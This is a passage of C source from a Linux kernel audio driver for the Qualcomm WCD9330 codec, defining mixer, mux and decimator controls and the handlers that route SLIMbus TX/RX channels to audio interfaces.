SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX5_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx5_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX5_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx6_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX6_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx6_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX6_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx7_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX7_B1_CTL, 0, 12, rx_mix1_text);
static const struct soc_enum rx7_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX7_B1_CTL, 4, 12, rx_mix1_text);
static const struct soc_enum rx8_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX8_B1_CTL, 0, 11, rx8_mix1_text);
static const struct soc_enum rx8_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX8_B1_CTL, 4, 11, rx8_mix1_text);
static const struct soc_enum rx1_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX1_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx1_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX1_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX2_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX2_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx7_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX7_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx7_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_RX7_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx_rdac5_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_MISC, 2, 2, rx_rdac5_text);
static const struct soc_enum rx_rdac7_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_MISC, 1, 2, rx_rdac7_text);
static const struct soc_enum mad_sel_enum =
SOC_ENUM_SINGLE(TOMTOM_A_SVASS_CFG, 0, 2, mad_sel_text);
static const struct soc_enum sb_tx1_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B1_CTL, 0, 10, sb_tx1_mux_text);
static const struct soc_enum sb_tx2_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B2_CTL, 0, 10, sb_tx2_mux_text);
static const struct soc_enum sb_tx3_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B3_CTL, 0, 10, sb_tx3_mux_text);
static const struct soc_enum sb_tx4_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B4_CTL, 0, 10, sb_tx4_mux_text);
static const struct soc_enum sb_tx5_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B5_CTL, 0, 10, sb_tx5_mux_text);
static const struct soc_enum sb_tx6_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B6_CTL, 0, 10, sb_tx6_mux_text);
static const struct soc_enum sb_tx7_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B7_CTL, 0, 18,
sb_tx7_to_tx10_mux_text);
static const struct soc_enum sb_tx8_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B8_CTL, 0, 18,
sb_tx7_to_tx10_mux_text);
static const struct soc_enum sb_tx9_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B9_CTL, 0, 18,
sb_tx7_to_tx10_mux_text);
static const struct soc_enum sb_tx10_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_SB_B10_CTL, 0, 18,
sb_tx7_to_tx10_mux_text);
static const struct soc_enum dec1_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B1_CTL, 0, 3, dec1_mux_text);
static const struct soc_enum dec2_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B1_CTL, 2, 3, dec2_mux_text);
static const struct soc_enum dec3_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B1_CTL, 4, 3, dec3_mux_text);
static const struct soc_enum dec4_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B1_CTL, 6, 3, dec4_mux_text);
static const struct soc_enum dec5_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B2_CTL, 0, 3, dec5_mux_text);
static const struct soc_enum dec6_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B2_CTL, 2, 3, dec6_mux_text);
static const struct soc_enum dec7_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B2_CTL, 4, 7, dec7_mux_text);
static const struct soc_enum dec8_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B3_CTL, 0, 7, dec8_mux_text);
static const struct soc_enum dec9_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B3_CTL, 3, 8, dec9_mux_text);
static const struct soc_enum dec10_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_TX_B4_CTL, 0, 8, dec10_mux_text);
static const struct soc_enum anc1_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_ANC_B1_CTL, 0, 15, anc_mux_text);
static const struct soc_enum anc2_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_ANC_B1_CTL, 4, 15, anc_mux_text);
static const struct soc_enum anc1_fb_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_ANC_B2_CTL, 0, 3, anc1_fb_mux_text);
static const struct soc_enum iir1_inp1_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ1_B1_CTL, 0, 18, iir_inp1_text);
static const struct soc_enum iir2_inp1_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ2_B1_CTL, 0, 18, iir_inp1_text);
static const struct soc_enum iir1_inp2_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ1_B2_CTL, 0, 18, iir_inp2_text);
static const struct soc_enum iir2_inp2_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ2_B2_CTL, 0, 18, iir_inp2_text);
static const struct soc_enum iir1_inp3_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ1_B3_CTL, 0, 18, iir_inp3_text);
static const struct soc_enum iir2_inp3_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ2_B3_CTL, 0, 18, iir_inp3_text);
static const struct soc_enum iir1_inp4_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ1_B4_CTL, 0, 18, iir_inp4_text);
static const struct soc_enum iir2_inp4_mux_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_EQ2_B4_CTL, 0, 18, iir_inp4_text);
static const struct snd_kcontrol_new rx_mix1_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP1 Mux", rx_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP2 Mux", rx_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp3_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP3 Mux", rx_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP1 Mux", rx2_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP2 Mux", rx2_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp1_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP1 Mux", rx3_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp2_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP2 Mux", rx3_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp1_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP1 Mux", rx4_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp2_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP2 Mux", rx4_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx5_mix1_inp1_mux =
SOC_DAPM_ENUM("RX5 MIX1 INP1 Mux", rx5_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx5_mix1_inp2_mux =
SOC_DAPM_ENUM("RX5 MIX1 INP2 Mux", rx5_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx6_mix1_inp1_mux =
SOC_DAPM_ENUM("RX6 MIX1 INP1 Mux", rx6_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx6_mix1_inp2_mux =
SOC_DAPM_ENUM("RX6 MIX1 INP2 Mux", rx6_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx7_mix1_inp1_mux =
SOC_DAPM_ENUM("RX7 MIX1 INP1 Mux", rx7_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx7_mix1_inp2_mux =
SOC_DAPM_ENUM("RX7 MIX1 INP2 Mux", rx7_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx8_mix1_inp1_mux =
SOC_DAPM_ENUM("RX8 MIX1 INP1 Mux", rx8_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx8_mix1_inp2_mux =
SOC_DAPM_ENUM("RX8 MIX1 INP2 Mux", rx8_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP1 Mux", rx1_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP2 Mux", rx1_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP1 Mux", rx2_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP2 Mux", rx2_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx7_mix2_inp1_mux =
SOC_DAPM_ENUM("RX7 MIX2 INP1 Mux", rx7_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx7_mix2_inp2_mux =
SOC_DAPM_ENUM("RX7 MIX2 INP2 Mux", rx7_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx_dac5_mux =
SOC_DAPM_ENUM("RDAC5 MUX Mux", rx_rdac5_enum);
static const struct snd_kcontrol_new rx_dac7_mux =
SOC_DAPM_ENUM("RDAC7 MUX Mux", rx_rdac7_enum);
static const struct snd_kcontrol_new mad_sel_mux =
SOC_DAPM_ENUM("MAD_SEL MUX Mux", mad_sel_enum);
static const struct snd_kcontrol_new sb_tx1_mux =
SOC_DAPM_ENUM("SLIM TX1 MUX Mux", sb_tx1_mux_enum);
static const struct snd_kcontrol_new sb_tx2_mux =
SOC_DAPM_ENUM("SLIM TX2 MUX Mux", sb_tx2_mux_enum);
static const struct snd_kcontrol_new sb_tx3_mux =
SOC_DAPM_ENUM("SLIM TX3 MUX Mux", sb_tx3_mux_enum);
static const struct snd_kcontrol_new sb_tx4_mux =
SOC_DAPM_ENUM("SLIM TX4 MUX Mux", sb_tx4_mux_enum);
static const struct snd_kcontrol_new sb_tx5_mux =
SOC_DAPM_ENUM("SLIM TX5 MUX Mux", sb_tx5_mux_enum);
static const struct snd_kcontrol_new sb_tx6_mux =
SOC_DAPM_ENUM("SLIM TX6 MUX Mux", sb_tx6_mux_enum);
static const struct snd_kcontrol_new sb_tx7_mux =
SOC_DAPM_ENUM("SLIM TX7 MUX Mux", sb_tx7_mux_enum);
static const struct snd_kcontrol_new sb_tx8_mux =
SOC_DAPM_ENUM("SLIM TX8 MUX Mux", sb_tx8_mux_enum);
static const struct snd_kcontrol_new sb_tx9_mux =
SOC_DAPM_ENUM("SLIM TX9 MUX Mux", sb_tx9_mux_enum);
static const struct snd_kcontrol_new sb_tx10_mux =
SOC_DAPM_ENUM("SLIM TX10 MUX Mux", sb_tx10_mux_enum);
static int wcd9330_put_dec_enum(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *w = wlist->widgets[0];
struct snd_soc_codec *codec = w->codec;
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
unsigned int dec_mux, decimator;
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
u16 tx_mux_ctl_reg;
u8 adc_dmic_sel = 0x0;
int ret = 0;
char *dec;
if (ucontrol->value.enumerated.item[0] > e->max - 1)
return -EINVAL;
dec_mux = ucontrol->value.enumerated.item[0];
widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
dec = strpbrk(dec_name, "123456789");
if (!dec) {
dev_err(w->dapm->dev, "%s: decimator index not found\n",
__func__);
ret = -EINVAL;
goto out;
}
ret = kstrtouint(dec, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
dev_dbg(w->dapm->dev, "%s(): widget = %s decimator = %u dec_mux = %u\n"
, __func__, w->name, decimator, dec_mux);
switch (decimator) {
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
if (dec_mux == 1)
adc_dmic_sel = 0x1;
else
adc_dmic_sel = 0x0;
break;
case 7:
case 8:
case 9:
case 10:
if ((dec_mux == 1) || (dec_mux == 2))
adc_dmic_sel = 0x1;
else
adc_dmic_sel = 0x0;
break;
default:
pr_err("%s: Invalid Decimator = %u\n", __func__, decimator);
ret = -EINVAL;
goto out;
}
tx_mux_ctl_reg = TOMTOM_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x1, adc_dmic_sel);
ret = snd_soc_dapm_put_enum_double(kcontrol, ucontrol);
out:
kfree(widget_name);
return ret;
}
#define WCD9330_DEC_ENUM(xname, xenum) \
{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \
.info = snd_soc_info_enum_double, \
.get = snd_soc_dapm_get_enum_double, \
.put = wcd9330_put_dec_enum, \
.private_value = (unsigned long)&xenum }
static const struct snd_kcontrol_new dec1_mux =
WCD9330_DEC_ENUM("DEC1 MUX Mux", dec1_mux_enum);
static const struct snd_kcontrol_new dec2_mux =
WCD9330_DEC_ENUM("DEC2 MUX Mux", dec2_mux_enum);
static const struct snd_kcontrol_new dec3_mux =
WCD9330_DEC_ENUM("DEC3 MUX Mux", dec3_mux_enum);
static const struct snd_kcontrol_new dec4_mux =
WCD9330_DEC_ENUM("DEC4 MUX Mux", dec4_mux_enum);
static const struct snd_kcontrol_new dec5_mux =
WCD9330_DEC_ENUM("DEC5 MUX Mux", dec5_mux_enum);
static const struct snd_kcontrol_new dec6_mux =
WCD9330_DEC_ENUM("DEC6 MUX Mux", dec6_mux_enum);
static const struct snd_kcontrol_new dec7_mux =
WCD9330_DEC_ENUM("DEC7 MUX Mux", dec7_mux_enum);
static const struct snd_kcontrol_new dec8_mux =
WCD9330_DEC_ENUM("DEC8 MUX Mux", dec8_mux_enum);
static const struct snd_kcontrol_new dec9_mux =
WCD9330_DEC_ENUM("DEC9 MUX Mux", dec9_mux_enum);
static const struct snd_kcontrol_new dec10_mux =
WCD9330_DEC_ENUM("DEC10 MUX Mux", dec10_mux_enum);
static const struct snd_kcontrol_new iir1_inp1_mux =
SOC_DAPM_ENUM("IIR1 INP1 Mux", iir1_inp1_mux_enum);
static const struct snd_kcontrol_new iir2_inp1_mux =
SOC_DAPM_ENUM("IIR2 INP1 Mux", iir2_inp1_mux_enum);
static const struct snd_kcontrol_new iir1_inp2_mux =
SOC_DAPM_ENUM("IIR1 INP2 Mux", iir1_inp2_mux_enum);
static const struct snd_kcontrol_new iir2_inp2_mux =
SOC_DAPM_ENUM("IIR2 INP2 Mux", iir2_inp2_mux_enum);
static const struct snd_kcontrol_new iir1_inp3_mux =
SOC_DAPM_ENUM("IIR1 INP3 Mux", iir1_inp3_mux_enum);
static const struct snd_kcontrol_new iir2_inp3_mux =
SOC_DAPM_ENUM("IIR2 INP3 Mux", iir2_inp3_mux_enum);
static const struct snd_kcontrol_new iir1_inp4_mux =
SOC_DAPM_ENUM("IIR1 INP4 Mux", iir1_inp4_mux_enum);
static const struct snd_kcontrol_new iir2_inp4_mux =
SOC_DAPM_ENUM("IIR2 INP4 Mux", iir2_inp4_mux_enum);
static const struct snd_kcontrol_new anc1_mux =
SOC_DAPM_ENUM("ANC1 MUX Mux", anc1_mux_enum);
static const struct snd_kcontrol_new anc2_mux =
SOC_DAPM_ENUM("ANC2 MUX Mux", anc2_mux_enum);
static const struct snd_kcontrol_new anc1_fb_mux =
SOC_DAPM_ENUM("ANC1 FB MUX Mux", anc1_fb_mux_enum);
static const struct snd_kcontrol_new dac1_switch[] = {
SOC_DAPM_SINGLE("Switch", TOMTOM_A_RX_EAR_EN, 5, 1, 0)
};
static const struct snd_kcontrol_new hphl_switch[] = {
SOC_DAPM_SINGLE("Switch", TOMTOM_A_RX_HPH_L_DAC_CTL, 6, 1, 0)
};
static const struct snd_kcontrol_new hphl_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
7, 1, 0),
};
static const struct snd_kcontrol_new hphr_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
6, 1, 0),
};
static const struct snd_kcontrol_new ear_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
5, 1, 0),
};
static const struct snd_kcontrol_new lineout1_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
4, 1, 0),
};
static const struct snd_kcontrol_new lineout2_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
3, 1, 0),
};
static const struct snd_kcontrol_new lineout3_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
2, 1, 0),
};
static const struct snd_kcontrol_new lineout4_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TOMTOM_A_RX_PA_AUX_IN_CONN,
1, 1, 0),
};
static const struct snd_kcontrol_new lineout3_ground_switch =
SOC_DAPM_SINGLE("Switch", TOMTOM_A_RX_LINE_3_DAC_CTL, 6, 1, 0);
static const struct snd_kcontrol_new lineout4_ground_switch =
SOC_DAPM_SINGLE("Switch", TOMTOM_A_RX_LINE_4_DAC_CTL, 6, 1, 0);
static const struct snd_kcontrol_new aif4_mad_switch =
SOC_DAPM_SINGLE("Switch", TOMTOM_A_SVASS_CLKRST_CTL, 0, 1, 0);
static int tomtom_vi_feed_mixer_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.integer.value[0] = widget->value;
return 0;
}
static int tomtom_vi_feed_mixer_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_multi_mixer_control *mixer =
((struct soc_multi_mixer_control *)kcontrol->private_value);
u32 dai_id = widget->shift;
u32 port_id = mixer->shift;
u32 enable = ucontrol->value.integer.value[0];
pr_debug("%s: enable: %d, port_id:%d, dai_id: %d\n",
__func__, enable, port_id, dai_id);
mutex_lock(&codec->mutex);
if (enable) {
if (port_id == TOMTOM_TX11 && !test_bit(VI_SENSE_1,
&tomtom_p->status_mask)) {
list_add_tail(&core->tx_chs[TOMTOM_TX11].list,
&tomtom_p->dai[dai_id].wcd9xxx_ch_list);
list_add_tail(&core->tx_chs[TOMTOM_TX12].list,
&tomtom_p->dai[dai_id].wcd9xxx_ch_list);
set_bit(VI_SENSE_1, &tomtom_p->status_mask);
}
if (port_id == TOMTOM_TX14 && !test_bit(VI_SENSE_2,
&tomtom_p->status_mask)) {
list_add_tail(&core->tx_chs[TOMTOM_TX14].list,
&tomtom_p->dai[dai_id].wcd9xxx_ch_list);
list_add_tail(&core->tx_chs[TOMTOM_TX15].list,
&tomtom_p->dai[dai_id].wcd9xxx_ch_list);
set_bit(VI_SENSE_2, &tomtom_p->status_mask);
}
} else {
if (port_id == TOMTOM_TX11 && test_bit(VI_SENSE_1,
&tomtom_p->status_mask)) {
list_del_init(&core->tx_chs[TOMTOM_TX11].list);
list_del_init(&core->tx_chs[TOMTOM_TX12].list);
clear_bit(VI_SENSE_1, &tomtom_p->status_mask);
}
if (port_id == TOMTOM_TX14 && test_bit(VI_SENSE_2,
&tomtom_p->status_mask)) {
list_del_init(&core->tx_chs[TOMTOM_TX14].list);
list_del_init(&core->tx_chs[TOMTOM_TX15].list);
clear_bit(VI_SENSE_2, &tomtom_p->status_mask);
}
}
mutex_unlock(&codec->mutex);
snd_soc_dapm_mixer_update_power(widget, kcontrol, enable);
return 0;
}
/* virtual port entries */
static int slim_tx_mixer_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.integer.value[0] = widget->value;
return 0;
}
static int slim_tx_mixer_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_multi_mixer_control *mixer =
((struct soc_multi_mixer_control *)kcontrol->private_value);
u32 dai_id = widget->shift;
u32 port_id = mixer->shift;
u32 enable = ucontrol->value.integer.value[0];
u32 vtable = vport_check_table[dai_id];
pr_debug("%s: wname %s cname %s value %u shift %d item %ld\n", __func__,
widget->name, ucontrol->id.name, widget->value, widget->shift,
ucontrol->value.integer.value[0]);
mutex_lock(&codec->mutex);
if (tomtom_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (dai_id != AIF1_CAP) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
}
switch (dai_id) {
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
/* only add to the list if value not set
*/
if (enable && !(widget->value & 1 << port_id)) {
if (tomtom_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_SLIMBUS)
vtable = vport_check_table[dai_id];
if (tomtom_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_I2C)
vtable = vport_i2s_check_table[dai_id];
if (wcd9xxx_tx_vport_validation(
vtable,
port_id,
tomtom_p->dai, NUM_CODEC_DAIS)) {
dev_dbg(codec->dev, "%s: TX%u is used by other virtual port\n",
__func__, port_id + 1);
mutex_unlock(&codec->mutex);
return 0;
}
widget->value |= 1 << port_id;
list_add_tail(&core->tx_chs[port_id].list,
&tomtom_p->dai[dai_id].wcd9xxx_ch_list
);
} else if (!enable && (widget->value & 1 << port_id)) {
widget->value &= ~(1 << port_id);
list_del_init(&core->tx_chs[port_id].list);
} else {
if (enable)
dev_dbg(codec->dev, "%s: TX%u port is used by\n"
"this virtual port\n",
__func__, port_id + 1);
else
dev_dbg(codec->dev, "%s: TX%u port is not used by\n"
"this virtual port\n",
__func__, port_id + 1);
/* avoid update power function */
mutex_unlock(&codec->mutex);
return 0;
}
break;
default:
pr_err("Unknown AIF %d\n", dai_id);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
pr_debug("%s: name %s sname %s updated value %u shift %d\n", __func__,
widget->name, widget->sname, widget->value, widget->shift);
mutex_unlock(&codec->mutex);
snd_soc_dapm_mixer_update_power(widget, kcontrol, enable);
return 0;
}
static int slim_rx_mux_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.enumerated.item[0] = widget->value;
return 0;
}
static const char *const slim_rx_mux_text[] = {
"ZERO", "AIF1_PB", "AIF2_PB", "AIF3_PB"
};
static int slim_rx_mux_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
u32 port_id = widget->shift;
pr_debug("%s: wname %s cname %s value %u shift %d item %ld\n", __func__,
widget->name, ucontrol->id.name, widget->value, widget->shift,
ucontrol->value.integer.value[0]);
widget->value = ucontrol->value.enumerated.item[0];
mutex_lock(&codec->mutex);
if (tomtom_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (widget->value > 2) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
goto err;
}
}
/* value need to match the Virtual port and AIF number
*/
switch (widget->value) {
case 0:
list_del_init(&core->rx_chs[port_id].list);
break;
case 1:
if (wcd9xxx_rx_vport_validation(port_id +
TOMTOM_RX_PORT_START_NUMBER,
&tomtom_p->dai[AIF1_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tomtom_p->dai[AIF1_PB].wcd9xxx_ch_list);
break;
case 2:
if (wcd9xxx_rx_vport_validation(port_id +
TOMTOM_RX_PORT_START_NUMBER,
&tomtom_p->dai[AIF2_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tomtom_p->dai[AIF2_PB].wcd9xxx_ch_list);
break;
case 3:
if (wcd9xxx_rx_vport_validation(port_id +
TOMTOM_RX_PORT_START_NUMBER,
&tomtom_p->dai[AIF3_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tomtom_p->dai[AIF3_PB].wcd9xxx_ch_list);
break;
default:
pr_err("Unknown AIF %d\n", widget->value);
goto err;
}
rtn:
mutex_unlock(&codec->mutex);
snd_soc_dapm_mux_update_power(widget, kcontrol, widget->value, e);
return 0;
err:
mutex_unlock(&codec->mutex);
return -EINVAL;
}
static const struct soc_enum slim_rx_mux_enum =
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(slim_rx_mux_text), slim_rx_mux_text);
static const struct snd_kcontrol_new slim_rx_mux[TOMTOM_RX_MAX] = {
SOC_DAPM_ENUM_EXT("SLIM RX1 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX2 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX3 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX4 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
